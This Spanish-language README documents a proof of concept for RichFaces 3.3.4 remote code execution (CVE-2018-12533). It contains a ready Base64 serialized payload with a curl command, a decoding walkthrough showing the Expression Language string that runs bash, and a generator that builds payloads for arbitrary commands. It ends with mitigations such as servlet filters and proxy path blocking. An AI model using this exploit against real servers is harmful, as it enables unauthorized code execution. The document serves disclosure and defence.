
Demuestra la ejecución remota de código CVE-2018-12533 en RichFaces 3.3.4. Incluye generación de payloads, análisis de deserialización de Java y estrategias de mitigación mediante filtros o válvulas.
Detalles de la CVE-2018-12533. Otras versiones de RichFaces son vulnerables, como se puede ver aquí.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
Después de DATA/ y hasta antes de .seam, está el payload del ataque. Esto es solo una clase Java serializada, comprimida y codificada en Base64. Es un Base64 con el formato ligeramente modificado por RichFaces para ser compatible con la URL.
Esa clase contiene una línea de comando en formato Expression Language que es ejecutada por la aplicación, más precisamente por RichFaces, y ahí está el problema, porque se puede ejecutar código arbitrario en el servidor.
El comando que está codificado en el payload anterior es
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(solo con fines de demostración) y lo comprobaremos a continuación.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
Convierte el payload del formato Base64 de RichFaces al formato estándar de Base64. Decodifica el Base64, que en este caso es un binario comprimido, luego lo descomprime, lo que generará el binario de la clase java serializada.
Aquí veremos el comando malicioso que está dentro del payload.
El comando siguiente mostrará todos los atributos de la clase y los respectivos tipos definidos en la clase. No muestra los tipos en tiempo de ejecución; si no sabes qué significa eso, no hay problema.
Aquí estamos ejecutando código Java como si fuera un script gracias a JBang
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
La salida es algo parecido a esto:
Objeto java convertido a JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Archivo .class guardado en: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ El punto principal es el atributo _paint.savedState.m.orig.expr, donde está el código malicioso, que en este ejemplo es solo un código inofensivo que crea un archivo en disco: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# o
./Generator_Paint2DResourceImageData.java <un comando aquí>
./Generator_Paint2DResourceImageData.java touch /tmp/alguien-estuvo-aqui
La salida mostrará los comandos para que los ejecutes contra un servidor vulnerable. Ajusta solo la URL.
Una opción menos simple y más performante es modificar el código de RichFaces para hacer algún tratamiento. Más abajo está la pila relevante.
Otra opción más simple que la anterior es crear un filtro (javax.servlet.Filter), que actuará solo en el path en cuestión, deserializando el Base64 presente en el path y realizando la verificación correspondiente para determinar si la solicitud puede continuar o debe ser rechazada. Es importante destacar que la deserialización debe realizarse mediante la clase LookAheadObjectInputStream, como se hace en org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), para intentar evitar al máximo problemas de seguridad durante la deserialización, como por ejemplo ejecución de código malicioso.
Una opción es bloquear el path del endpoint en algún proxy que esté delante de la aplicación.
Otra opción, que creo que vale la pena implementar, pero que no exime la primera opción, es crear un filtro (javax.servlet.Filter), que actuará solo en el path en cuestión y bloqueará el acceso. El bloqueo consiste simplemente en responder a la solicitud sin dejar que la cadena de filtros continúe la ejecución. Puedes poner un texto en el body y usar el código de estado HTTP 410 (Gone). Recuerda que este filtro debe definirse en el web.xml de la aplicación. Un ejemplo de este filtro: PathBlockerFilter.